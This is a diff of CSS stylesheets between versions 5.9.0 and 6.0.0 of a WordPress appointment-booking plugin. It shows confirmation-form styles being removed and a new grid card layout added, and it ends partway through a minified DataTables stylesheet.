-.app-panel-wrap .app-dock-left.left .dashicons-align-pull-left {

-	display: none;

-}

-

-.app-panel-wrap .app-dock-left:not(.left) .dashicons-align-pull-right {

-	display: none;

-}

-

-.app-panel {

-  position: absolute;

-  top: 0;

-  bottom: 0;

-  left: 0;

-  right: 0;

-  background: #f6f6f6;

-  color: #50575e;

-  overflow: auto;

-  padding: 30px 10px 10px 15px;

-  border-left: 1px solid #ddd;

-  border-right: 1px solid #ddd;

-  box-shadow: 0px 10px 40px -3px rgba(0, 0, 0, .1), 0 2px 4px -1px rgba(0, 0, 0, .2);

-  font-size: 13px;

-}

-

-.app-manage .app-panel h3 {

-    margin-top: 1.5em;

-}

-

-.app-manage .app-panel .inline-edit-row {

-	box-shadow: none;

-}

-

-.app-manage .app-panel .inline-edit-row fieldset label span.input-text-wrap {

-    margin-right: 0;

-}

-

-.app-panel .inline-edit-row fieldset label {

-    margin: .5em 0;

-}

-

-.app-panel .inline-edit-row fieldset .app-quick-book-user-fields label {

-    margin: .1em 0;

-}

-

-.app-manage .app-panel .inline-edit-row fieldset label span.title {

-    width: 6em;

-}

-.app-manage .app-panel .inline-edit-row fieldset label span.input-text-wrap {

-    margin-left: 6em;

-}

-

-#app-panel .app_iedit_time input[type="text"],

-#app-panel select.app-admin-time {

-    font-size: 11.5px;

-}

-

-.app-manage .app-panel select.app_users,

-.app-manage .app-panel select.app_extras {

-    width: 100%;

-}

-

-.app-manage .app-panel button.app_users {

-	width: 100% !important;

-}

-

-.app-panel button.ui-multiselect {

-	font-size: 11.5px;

-}

-

-.app-manage .app-panel .inline-edit-save {

-    margin-top: 20px;

-}

-

-.app-panel h3.app_iedit_app_h {

-    font-size: 1.1em;

-	text-align: center;

-}

-

-.app-panel div.error,

-.app-panel div.notice {

-	margin: 0;

-	padding: 5px 10px;

-}

-

-.app-panel div.notice {

-	font-size: 12px;

-}

-

-.app-panel .app-admin-notice:empty,

-.app-panel .app-notice:empty,

-.app-panel .app-error:empty {

-	display: none;

-}

-

-@media screen and (max-width: 782px) {

-	#app-panel .inline-edit-row fieldset label span.title {

-		float: left;

-	}

-	#app-panel .inline-edit-row span.title {

-        font-size: 13px;

-    }

-	#app-panel .inline-edit-row fieldset label span.input-text-wrap {

-        margin-left: 6em;

-    }

-	#app-panel select {

-		min-height: 30px;

-	}

-	#app-panel input[type=text], #app-panel select, #app-panel textarea {

-		min-height: 30px;

-		font-size: 14px;

-	}

-	#app-panel input[type=text] {

-		padding: 0 8px;

-        min-height: 30px;

-	}

-	#app-panel input[type=checkbox] {

-		height: 1rem;

-        width: 1rem;

-	}

-	#app-panel .app_iedit_time input[type="text"],

-	#app-panel select.app-admin-time {

-		font-size: 11.5px;

-	}

-}

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/common-rtl.css /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/common-rtl.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/common-rtl.css	2026-01-06 00:59:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/common-rtl.css	2026-03-10 03:48:28.000000000 +0000
@@ -1069,7 +1069,6 @@
 	text-align: right;

 }

 

-.app-conf-wrapper label span.app-conf-title,

 .app-payment-field span,

 .app_billing_line_inner span:not(.app-mobile) {

 	margin-right: 0;

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/front-admin.css /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/front-admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/front-admin.css	2026-01-06 00:59:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/front-admin.css	2026-03-10 03:48:28.000000000 +0000
@@ -4970,7 +4970,7 @@
   margin: 0.2em 6px 0.2em 0;

   line-height: 2.5;

 }

-.app-front-admin .inline-edit-row .input-text-wrap input[type=text]:not(.colorpicker_input) {

+.app-front-admin .inline-edit-row .input-text-wrap input[type=text]:not(.colorpicker_input):not(.datepicker):not(.app-admin-time) {

   width: 100%;

 }

 .app-front-admin .inline-edit-row fieldset label input[type=checkbox] {

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/front.css /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/front.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/front.css	2026-01-06 00:59:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/front.css	2026-03-10 03:48:28.000000000 +0000
@@ -347,11 +347,7 @@
 .app-pagination .app_date input,

 .app-pagination .app-next a,

 .app-pagination .app-previous a,

-.app-conf-wrapper input[type="text"],

-/* .app-conf-wrapper select, */

-.app-conf-wrapper textarea,

 input.app_select_date,

-.app-conf-wrapper canvas,

 .app-page .ui-state-default,

 .app-wc-page .ui-state-default,

 .wpb-book-me .ui-state-default,

@@ -402,10 +398,6 @@
 	border-width: 0

 }

 

-.app-conf-wrapper.app-mobile fieldset {

-	background-color: #fbfbfb;

-}

-

 ul#wp-admin-bar-admin-root-default li#wp-admin-bar-admin-help {

 	border-bottom: 1px solid darkgrey;

 }

@@ -482,10 +474,6 @@
 	font-size: 0.9em

 }

 

-.widget div.app-conf-wrapper fieldset div.app-conf-continue {

-	justify-content: center;

-}

-

 .widget .app_2column {

 	float: none;

 	width: 100%;

@@ -938,8 +926,7 @@
 .app-list .app-monthly-wrapper thead,

 .app-list .app-monthly-wrapper tbody,

 .app-flex-menu.with-caption .app-flex,

-.app-flex-menu.with-caption .app-flexslider li,

-.app-conf-wrapper fieldset {

+.app-flex-menu.with-caption .app-flexslider li {

 	box-shadow: 2px 2px 6px rgb(0 0 0 / 20%);

 }

 

@@ -1191,7 +1178,6 @@
 	padding-left: 15px;

 }

 

-.buddyboss-theme .app-conf-wrapper fieldset,

 .buddyboss-theme caption .app-flex,

 .buddyboss-theme .app-flex-menu.app-slide.with-caption .app-flex,

 .buddyboss-theme .app-book-flex .app-flex,

@@ -1501,11 +1487,7 @@
 

 .app-pagination .app-next a,

 .app-pagination .app-previous a,

-.app-conf-wrapper input[type="text"],

-.app-conf-wrapper select,

-.app-conf-wrapper textarea,

-input.app_select_date,

-.app-conf-wrapper canvas {

+input.app_select_date {

 	color: #474747;

 	text-decoration: none;

 	text-shadow: 0 1px 0 #fff;

@@ -1713,37 +1695,6 @@
 

 /* Confirmation Form -------------------------------------------------------- */

 

-.widget_appointments_shortcode .app-conf-wrapper legend {

-	font-size: smaller;

-}

-

-.app-conf-wrapper label {

-	display: block;

-	padding: 3px;

-}

-

-.app-conf-wrapper:not(.above-input) input[type="text"].app-non-mobile,

-.app-conf-wrapper:not(.above-input) textarea.app-non-mobile,

-.app-conf-wrapper:not(.above-input) select.app-non-mobile {

-	width: 67%;

-	margin: 0;

-}

-

-.app-conf-wrapper label span.app-conf-title {

-	margin-right: 3%;

-	width: 30%;

-	display: block;

-	float: left;

-	text-shadow: 0.05em 0.05em 0.05em rgba(10,10,10,0.2);

-}

-

-.app-conf-wrapper.above-input .app-conf-fields-gr2 label span.app-conf-title,

-.app-edit-wrapper.above-input label span.app-conf-title,

-.app-edit-wrapper.app-mobile label span.app-conf-title {

-	width: 100%;

-	float: none;

-}

-

 .app-conf-text:not(.has-checkbox) {

 	float: left;

 	width: 67%;

@@ -1754,26 +1705,7 @@
 	align-items: baseline;

 }

 

-.app-conf-wrapper button.ui-multiselect {

-	width: 67% !important;

-	vertical-align: bottom;

-}

-

-.app-conf-wrapper.above-input button.ui-multiselect,

-.app-conf-wrapper.app-mobile button.ui-multiselect {

-	width: 100% !important;

-	vertical-align: bottom;

-}

-

-.app-conf-wrapper.app-mobile div.app-conf-fields-gr2 label span,

-.app-conf-wrapper.app-mobile div.app-conf-coupon label span,

-.app-conf-wrapper.app-mobile div.app-conf-extra label span {

-	width: 100%;

-	float: none;

-}

-

-.app-wrap h3,

-.app-conf-wrapper legend.app-conf-title {

+.app-wrap h3 {

 	font-size: 0.8em;

 	font-weight: 500;

 	text-transform: uppercase;

@@ -1781,103 +1713,13 @@
 	border: 0

 }

 

-.app-conf-wrapper.app-mobile legend.app-conf-title {

-	font-size: 0.6em;

-}

-

-.app-conf-wrapper input[type="text"],

-.app-conf-wrapper select,

-.app-conf-wrapper textarea,

-input.app_select_date,

-.app-conf-wrapper canvas {

-	padding: 0.2em 0.8em 0.2em 0.2em;

-}

-

-.app-conf-wrapper canvas {

-	width: 100%;

-	height: 120px;

-}

 

 input.app_select_date {

 	font-size: 0.8em;

 	font-weight: normal;

+	padding: 0.2em 0.8em 0.2em 0.2em;

 }

 

-.app-conf-wrapper select {

-	margin-top: 0;

-}

-

-.app-conf-wrapper .app_billing_line input[type="text"].app-non-mobile,

-.app-conf-wrapper .app_billing_line select.app-non-mobile,

-.app-conf-wrapper.above-input input[type="text"],

-.app-conf-wrapper.above-input select:not(.app_select_workers_conf),

-.app-conf-wrapper.above-input textarea,

-.app-conf-wrapper.app-mobile input[type="text"],

-.app-conf-wrapper.app-mobile select {

-	width: 100%

-}

-

-.app-conf-wrapper sup {

-	font-weight: bold;

-	color: red

-}

-

-.app-conf-wrapper .app-conf-details sup {

-	color: #007acc

-}

-

-.app-non-mobile .app-conf-button {

-	font-weight: bold;

-	width: 48.5%;

-	max-width: 400px;

-}

-

-.app-conf-cancel-button {

-	float: right;

-}

-

-.app-non-mobile:not(.app-edit-wrapper) .app-conf-cancel-button {

-	max-width: 30%;

-}

-

-button.app-conf-cancel-button {

-	font-size: 0.95em;

-	font-weight: normal;

-}

-

-.app-conf-wrapper fieldset {

-	padding: 20px 20px 0 20px;

-}

-

-.app-conf-wrapper fieldset div {

-	margin: 0 0 10px 0;

-}

-

-.app-conf-wrapper .app-conf-seats label:first-child:not(:last-child) {

-	margin-bottom: 10px;

-}

-

-.app-conf-wrapper .app-conf-seats label:last-child:not(:first-child) {

-	padding-top: 0;

-}

-

-.app-conf-wrapper fieldset div:empty {

-	margin: 0;

-}

-

-.app-conf-wrapper fieldset div:not(.ui-select) {}

-

-.app-conf-wrapper.app-mobile fieldset .app-conf-fields-gr2 div {

-	overflow: visible;

-}

-

-.app-conf-wrapper.app-mobile fieldset .ui-state-error {

-	border: 1px solid #f1a899;

-	background: #fddfdf;

-	color: #5f3f3f;

-}

-

-.app-conf-wrapper label:after,

 .app-clearfix:before,

 .app-clearfix:after {

 	content: "\0020";

@@ -1886,7 +1728,6 @@
 	overflow: hidden;

 }

 

-.app-conf-wrapper label:after,

 .app-clearfix:after {

 	clear: both;

 }

@@ -2149,14 +1990,6 @@
 	text-align: left;

 }

 

-.app-conf-wrapper button.ui-multiselect {

-	line-height: 1.5;

-}

-

-.app-conf-wrapper.app-mobile label span {

-	font-size: 14px;

-}

-

 div.app-conf-fields-gr.app-conf-fields-gr1,

 div.app-conf-fields-gr.app-conf-fields-gr2 {

 	margin: 0;

@@ -2176,28 +2009,6 @@
 	list-style: none;

 }

 

-.app-conf-wrapper .app_countdown_dropdown_title.app-title {

-	text-align: center;

-	font-size: small;

-	/* margin-bottom: 0; */

-}

-

-.app-conf-wrapper:not(.app-mobile) .app-conf-continue .app_countdown-wrapper:not(.app_2column) {

-	width: 100%;

-}

-

-.app-cont-button-wrapper {

-	vertical-align: middle;

-	display: table-cell;

-	padding-top: 25px;

-}

-

-.app-cont-button-wrapper button {

-	display: block;

-	vertical-align: middle;

-	font-size: 1rem;

-}

-

 .app-udf-checkbox {

 	margin-right: 5px;

 }

@@ -2251,62 +2062,10 @@
 	margin: 0;

 }

 

-div.app-conf-wrapper input::-webkit-input-placeholder {

-	font-size: .9em

-}

-

-div.app-conf-wrapper input::-moz-placeholder {

-	font-size: .9em

-}

-

-div.app-conf-wrapper input:-ms-input-placeholder {

-	font-size: .9em

-}

-

-div.app-conf-wrapper input:-moz-placeholder {

-	font-size: .9em

-}

-

-.app-conf-wrapper fieldset .app-conf-continue {

-	margin-bottom: 0;

-	display: flex;

-	flex-wrap: wrap;

-	justify-content: space-between;

-}

-

-.app-conf-wrapper.app-mobile fieldset .app-conf-continue {

-	justify-content: center;

-}

-

-div.app-conf-wrapper fieldset div.app-conf-continue.has-button {

-	justify-content: space-around;

-}

-

-div.app-conf-wrapper .app-conf-continue .app_2column {

-	padding-right: 0;

-}

-

-button.app-cont-btn {

-	font-size: .9em;

-	float: left;

-}

-

 #app_confirm_email_username {

 	display: none !important;

 }

 

-.app-conf-wrapper div.app-conf-price label span.app_old_price {

-	text-decoration: line-through;

-	width: 30%;

-	max-width: 100px;

-}

-

-.app-conf-wrapper div.app-conf-price label span.app_new_price,

-.app-conf-wrapper div.app-conf-amount label span.app-conf-text {

-	font-weight: bold;

-	width: auto;

-}

-

 .app-compact-book-wrapper-gr1 button.ui-multiselect {

 	width: 100% !important;

 }

@@ -2505,47 +2264,6 @@
 	padding-right: 0;

 }

 

-/* FEE-------------------------------------------------------- */

-

-.app-edit-wrapper {

-	font-size: smaller;

-}

-

-.app-edit-wrapper select[disabled],

-.app-edit-wrapper input[readonly],

-select.app-edit-time option:disabled {

-	color: #ff0000;

-	font-weight: bold;

-}

-

-.app-conf-start input.app-edit-date,

-.app-conf-start select.app-edit-time {

-	width: 30%

-}

-

-select.app_select_services.app_edit {

-	width: 60%;

-}

-

-.app-fee.ui-dialog {

-	font-size: 0.9rem;

-}

-

-.ui-dialog .app-fee-wrapper.ui-dialog-content {

-	padding: 0;

-}

-

-.app-fee-wrapper .app-conf-start label {

-    margin-bottom: 10px;

-}

-

-.app-fee-wrapper .app-conf-fields-gr1 select,

-.app-fee-wrapper .app-conf-wrapper .app-conf-fields-gr1 input {

-	width: 67%;

-	margin: 0;

-}

-

-

 /* Book Now -------------------------------------------------------- */

 

 div.app-book-now {

@@ -2598,7 +2316,6 @@
 /* clear fix */

 .app_compact:after,

 .app_compact:before,

-.app-conf-wrapper:before,

 .app-legend:before,

 .app-pagination:before {

 	content: '';

@@ -4731,3 +4448,172 @@
 		display: block;

 	}

 }

+

+/* Grid -------------------------------------------------------- */

+

+.app-grid {

+	display: grid;

+	grid-column-gap: 30px;

+    grid-row-gap: 35px;

+}

+

+.app-grid-4 .app-grid {

+	grid-template-columns: repeat(4,1fr);

+}

+

+.app-grid-3 .app-grid {

+	grid-template-columns: repeat(3,1fr);

+}

+

+.app-grid-2 .app-grid {

+	grid-template-columns: repeat(2,1fr);

+}

+

+.app-grid-1 .app-grid {

+	grid-template-columns: repeat(1,1fr);

+}

+

+@media (max-width: 1024px) {

+	.app-grid-4 .app-grid {

+		grid-template-columns: repeat(3,1fr);

+	}

+	.app-grid-3 .app-grid {

+		grid-template-columns: repeat(2,1fr);

+	}

+}

+

+@media (max-width: 767px) {

+	.app-grid-4 .app-grid {

+		grid-template-columns: repeat(2,1fr);

+	}

+	.app-grid-3 .app-grid {

+		grid-template-columns: repeat(1,1fr);

+	}

+	.app-grid-3 .app-item-card {

+		flex-direction: row;

+	}

+	.app-grid-3 .app-item-excerpt {

+		max-height: 300px;

+	}	

+	.app-grid-2 .app-grid {

+		grid-template-columns: repeat(1,1fr);

+	}

+	.app-grid-2 .app-item-card {

+		flex-direction: row;

+	}

+	.app-grid-2 .app-item-excerpt {

+		max-height: 300px;

+	}

+}

+

+@media (max-width: 480px) {

+	.app-grid-4 .app-grid {

+		grid-template-columns: repeat(1,1fr);

+	}

+	.app-grid-4 .app-item-card {

+		flex-direction: row;

+	}

+}

+

+.app-item-card {

+    background-color: #fff;

+    border: 0 solid #69727d;

+    border-radius: 3px;

+    display: flex;

+    flex-direction: column;

+    min-height: 100%;

+    overflow: hidden;

+    position: relative;

+    transition: all .25s;

+    width: 100%;

+	box-shadow: 0 0 10px 0 rgba(0, 0, 0, .15);

+}

+

+.app-grid-1 .app-item-card {

+	flex-direction: row;

+}

+

+.app-item-card.no-link a {

+	cursor: default;

+}

+

+.app-item-thumb-link {

+	display: block;

+	position: relative;

+	width: 100%;

+}

+

+.app-item-thumb-link:after {

+    /* background-image: linear-gradient(0deg, rgba(0, 0, 0, .35), transparent 75%); */

+    /* background-repeat: no-repeat; */

+    /* bottom: 0; */

+    /* content: ""; */

+    /* display: block; */

+    /* height: 100%; */

+    /* opacity: 1; */

+    /* position: absolute; */

+    /* transition: all .3s ease-out; */

+    /* width: 100%; */

+}

+

+.app-grid-1 .app-item-thumb-link:after {

+	/* display:none; */

+}

+

+.app-item-thumb {

+	position: relative;

+	padding-bottom: calc(0.66 * 100%);

+}

+

+.app-item-thumb img {

+	height: 100%;

+	width: 100%;

+	object-fit: cover;

+	left: calc(50% + 1px);

+    position: absolute;

+    top: calc(50% + 1px);

+    transform: scale(1.01) translate(-50%, -50%);

+	display: block;

+    max-height: none;

+    max-width: none;

+    transition: filter .3s;

+	border: none;

+    border-radius: 0;

+    box-shadow: none;

+}

+

+.app-item-text {

+	display: flex;

+	flex-direction: column;

+    flex-grow: 1;

+	width: 100%;

+	padding: 0 30px;

+	margin-top: 20px;

+}

+

+.app-item-title {

+	font-size: 21px;

+}

+

+.app-item-excerpt {

+	flex-grow: 1;

+	/* margin-bottom: 25px; */

+	max-height: 500px;

+	overflow: hidden;

+	mask-image: linear-gradient(to bottom, black 80%, transparent 100%);

+}

+

+.app-grid-1 .app-item-excerpt {

+	max-height: 300px;

+}

+

+.app-item-read-more-wrapper {

+	margin-bottom: 20px;

+}

+

+.app-item-read-more {

+	text-transform: uppercase;

+	display: inline-block;

+    /* margin-bottom: 20px; */

+	font-size: 12px;

+}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/libs.min.css /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/libs.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/libs.min.css	2026-01-06 00:59:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/libs.min.css	2026-03-10 03:48:28.000000000 +0000
@@ -8,4 +8,4 @@
 /* dataTables.jqueryui.css (dataTables) */

 table.dataTable tbody td.dt-body-nowrap,table.dataTable tbody th.dt-body-nowrap,table.dataTable td.dt-nowrap,table.dataTable tfoot td.dt-head-nowrap,table.dataTable tfoot th.dt-head-nowrap,table.dataTable th.dt-nowrap,table.dataTable thead td.dt-head-nowrap,table.dataTable thead th.dt-head-nowrap,table.dataTable.nowrap td,table.dataTable.nowrap th{white-space:nowrap}.dataTables_wrapper .dataTables_paginate .fg-button:active,table.dataTable thead td:active,table.dataTable thead th:active{outline:0}table.dataTable{width:100%;margin:0 auto;clear:both;border-collapse:separate;border-spacing:0}table.dataTable tfoot th,table.dataTable thead th{font-weight:700}table.dataTable thead td,table.dataTable thead th{padding:10px 18px}table.dataTable tfoot td,table.dataTable tfoot th{padding:10px 18px 6px}table.dataTable tbody tr{background-color:#fff}table.dataTable tbody tr.selected{background-color:#B0BED9}table.dataTable tbody td,table.dataTable tbody th{padding:8px 10px}table.dataTable.display tbody td,table.dataTable.display tbody th,table.dataTable.row-border tbody td,table.dataTable.row-border tbody th{border-top:1px solid #ddd}table.dataTable.display tbody tr:first-child td,table.dataTable.display tbody tr:first-child th,table.dataTable.row-border tbody tr:first-child td,table.dataTable.row-border tbody tr:first-child th{border-top:none}table.dataTable.cell-border tbody td,table.dataTable.cell-border tbody th{border-top:1px solid #ddd;border-right:1px solid #ddd}table.dataTable.cell-border tbody tr td:first-child,table.dataTable.cell-border tbody tr th:first-child{border-left:1px solid #ddd}table.dataTable.cell-border tbody tr:first-child td,table.dataTable.cell-border tbody tr:first-child th{border-top:none}table.dataTable.display tbody tr.odd,table.dataTable.stripe tbody tr.odd{background-color:#f9f9f9}table.dataTable.display tbody tr.odd.selected,table.dataTable.stripe tbody tr.odd.selected{background-color:#acbad4}table.dataTable.display tbody tr:hover,table.dataTable.hover tbody tr:hover{background-color:#f6f6f6}table.dataTable.display tbody tr:hover.selected,table.dataTable.hover tbody tr:hover.selected{background-color:#aab7d1}table.dataTable.display tbody tr>.sorting_1,table.dataTable.display tbody tr>.sorting_2,table.dataTable.display tbody tr>.sorting_3,table.dataTable.order-column tbody tr>.sorting_1,table.dataTable.order-column tbody tr>.sorting_2,table.dataTable.order-column tbody tr>.sorting_3{background-color:#fafafa}table.dataTable.display tbody tr.selected>.sorting_1,table.dataTable.display tbody tr.selected>.sorting_2,table.dataTable.display tbody tr.selected>.sorting_3,table.dataTable.order-column tbody tr.selected>.sorting_1,table.dataTable.order-column tbody tr.selected>.sorting_2,table.dataTable.order-column tbody tr.selected>.sorting_3{background-color:#acbad5}table.dataTable.display tbody tr.odd>.sorting_1,table.dataTable.order-column.stripe tbody tr.odd>.sorting_1{background-color:#f1f1f1}table.dataTable.display tbody tr.odd>.sorting_2,table.dataTable.order-column.stripe tbody tr.odd>.sorting_2{background-color:#f3f3f3}table.dataTable.display tbody tr.odd>.sorting_3,table.dataTable.order-column.stripe tbody tr.odd>.sorting_3{background-color:#f5f5f5}table.dataTable.display tbody tr.odd.selected>.sorting_1,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_1{background-color:#a6b4cd}table.dataTable.display tbody tr.odd.selected>.sorting_2,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_2{background-color:#a8b5cf}table.dataTable.display tbody tr.odd.selected>.sorting_3,table.dataTable.order-column.stripe tbody tr.odd.selected>.sorting_3{background-color:#a9b7d1}table.dataTable.display tbody tr.even>.sorting_1,table.dataTable.order-column.stripe tbody tr.even>.sorting_1{background-color:#fafafa}table.dataTable.display tbody tr.even>.sorting_2,table.dataTable.order-column.stripe tbody tr.even>.sorting_2{background-color:#fcfcfc}table.dataTable.display tbody tr.even>.sorting_3,table.dataTable.order-column.stripe tbody tr.even>.sorting_3{background-color:#fefefe}table.dataTable.display tbody tr.even.selected>.sorting_1,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_1{background-color:#acbad5}table.dataTable.display tbody tr.even.selected>.sorting_2,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_2{background-color:#aebcd6}table.dataTable.display tbody tr.even.selected>.sorting_3,table.dataTable.order-column.stripe tbody tr.even.selected>.sorting_3{background-color:#afbdd8}table.dataTable.display tbody tr:hover>.sorting_1,table.dataTable.order-column.hover tbody tr:hover>.sorting_1{background-color:#eaeaea}table.dataTable.display tbody tr:hover>.sorting_2,table.dataTable.order-column.hover tbody tr:hover>.sorting_2{background-color:#ececec}table.dataTable.display tbody tr:hover>.sorting_3,table.dataTable.order-column.hover tbody tr:hover>.sorting_3{background-color:#efefef}table.dataTable.display tbody tr:hover.selected>.sorting_1,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_1{background-color:#a2aec7}table.dataTable.display tbody tr:hover.selected>.sorting_2,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_2{background-color:#a3b0c9}table.dataTable.display tbody tr:hover.selected>.sorting_3,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_3{background-color:#a5b2cb}table.dataTable.no-footer{border-bottom:1px solid #111}table.dataTable.compact thead td,table.dataTable.compact thead th{padding:4px 17px 4px 4px}table.dataTable.compact tbody td,table.dataTable.compact tbody th,table.dataTable.compact tfoot td,table.dataTable.compact tfoot th{padding:4px}table.dataTable td.dt-left,table.dataTable th.dt-left{text-align:left}table.dataTable td.dataTables_empty,table.dataTable td.dt-center,table.dataTable th.dt-center{text-align:center}table.dataTable td.dt-right,table.dataTable th.dt-right{text-align:right}table.dataTable td.dt-justify,table.dataTable th.dt-justify{text-align:justify}table.dataTable tfoot td.dt-head-left,table.dataTable tfoot th.dt-head-left,table.dataTable thead td.dt-head-left,table.dataTable thead th.dt-head-left{text-align:left}table.dataTable tfoot td.dt-head-center,table.dataTable tfoot th.dt-head-center,table.dataTable thead td.dt-head-center,table.dataTable thead th.dt-head-center{text-align:center}table.dataTable tfoot td.dt-head-right,table.dataTable tfoot th.dt-head-right,table.dataTable thead td.dt-head-right,table.dataTable thead th.dt-head-right{text-align:right}table.dataTable tfoot td.dt-head-justify,table.dataTable tfoot th.dt-head-justify,table.dataTable thead td.dt-head-justify,table.dataTable thead th.dt-head-justify{text-align:justify}table.dataTable tbody td.dt-body-left,table.dataTable tbody th.dt-body-left{text-align:left}table.dataTable tbody td.dt-body-center,table.dataTable tbody th.dt-body-center{text-align:center}table.dataTable tbody td.dt-body-right,table.dataTable tbody th.dt-body-right{text-align:right}table.dataTable tbody td.dt-body-justify,table.dataTable tbody th.dt-body-justify{text-align:justify}table.dataTable,table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.dataTables_wrapper{position:relative;clear:both;zoom:1}.dataTables_wrapper .dataTables_length{float:left}.dataTables_wrapper .dataTables_filter{float:right;text-align:right}.dataTables_wrapper .dataTables_filter input{margin-left:.5em}.dataTables_wrapper .dataTables_info{clear:both;float:left;padding-top:.755em}.dataTables_wrapper .dataTables_paginate{float:right;text-align:right;padding-top:.25em}.dataTables_wrapper .dataTables_paginate .paginate_button{box-sizing:border-box;display:inline-block;min-width:1.5em;padding:.5em 1em;margin-left:2px;text-align:center;text-decoration:none!important;cursor:pointer;color:#333;border:1px solid transparent;border-radius:2px}.dataTables_wrapper .dataTables_paginate .paginate_button.current,.dataTables_wrapper .dataTables_paginate .paginate_button.current:hover{color:#333;border:1px solid #979797;background-color:#fff;background:-webkit-gradient(linear,left top,left bottom,color-stop(0,#fff),color-stop(100%,#dcdcdc));background:-webkit-linear-gradient(top,#fff 0,#dcdcdc 100%);background:-moz-linear-gradient(top,#fff 0,#dcdcdc 100%);background:-ms-linear-gradient(top,#fff 0,#dcdcdc 100%);background:-o-linear-gradient(top,#fff 0,#dcdcdc 100%);background:linear-gradient(to bottom,#fff 0,#dcdcdc 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button.disabled,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:active,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:hover{cursor:default;color:#666!important;border:1px solid transparent;background:0 0;box-shadow:none}.dataTables_wrapper .dataTables_paginate .paginate_button:hover{color:#fff!important;border:1px solid #111;background-color:#585858;background:-webkit-gradient(linear,left top,left bottom,color-stop(0,#585858),color-stop(100%,#111));background:-webkit-linear-gradient(top,#585858 0,#111 100%);background:-moz-linear-gradient(top,#585858 0,#111 100%);background:-ms-linear-gradient(top,#585858 0,#111 100%);background:-o-linear-gradient(top,#585858 0,#111 100%);background:linear-gradient(to bottom,#585858 0,#111 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button:active{outline:0;background-color:#2b2b2b;background:-webkit-gradient(linear,left top,left bottom,color-stop(0,#2b2b2b),color-stop(100%,#0c0c0c));background:-webkit-linear-gradient(top,#2b2b2b 0,#0c0c0c 100%);background:-moz-linear-gradient(top,#2b2b2b 0,#0c0c0c 100%);background:-ms-linear-gradient(top,#2b2b2b 0,#0c0c0c 100%);background:-o-linear-gradient(top,#2b2b2b 0,#0c0c0c 100%);background:linear-gradient(to bottom,#2b2b2b 0,#0c0c0c 100%);box-shadow:inset 0 0 3px #111}.dataTables_wrapper .dataTables_paginate .ellipsis{padding:0 1em}.dataTables_wrapper .dataTables_processing{position:absolute;top:50%;left:50%;width:100%;height:40px;margin-left:-50%;margin-top:-25px;padding-top:20px;text-align:center;font-size:1.2em;background-color:#fff;background:-webkit-gradient(linear,left top,right top,color-stop(0,rgba(255,255,255,0)),color-stop(25%,rgba(255,255,255,.9)),color-stop(75%,rgba(255,255,255,.9)),color-stop(100%,rgba(255,255,255,0)));background:-webkit-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,.9) 25%,rgba(255,255,255,.9) 75%,rgba(255,255,255,0) 100%);background:-moz-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,.9) 25%,rgba(255,255,255,.9) 75%,rgba(255,255,255,0) 100%);background:-ms-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,.9) 25%,rgba(255,255,255,.9) 75%,rgba(255,255,255,0) 100%);background:-o-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,.9) 25%,rgba(255,255,255,.9) 75%,rgba(255,255,255,0) 100%);background:linear-gradient(to right,rgba(255,255,255,0) 0,rgba(255,255,255,.9) 25%,rgba(255,255,255,.9) 75%,rgba(255,255,255,0) 100%)}.dataTables_wrapper .dataTables_filter,.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_paginate,.dataTables_wrapper .dataTables_processing{color:#333}.dataTables_wrapper .dataTables_scroll{clear:both}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody{-webkit-overflow-scrolling:touch}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody td>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody th>div.dataTables_sizing{height:0;overflow:hidden;margin:0!important;padding:0!important}.dataTables_wrapper.no-footer div.dataTables_scrollBody table,.dataTables_wrapper.no-footer div.dataTables_scrollHead table{border-bottom:none}.dataTables_wrapper:after{visibility:hidden;display:block;content:"";clear:both;height:0}@media 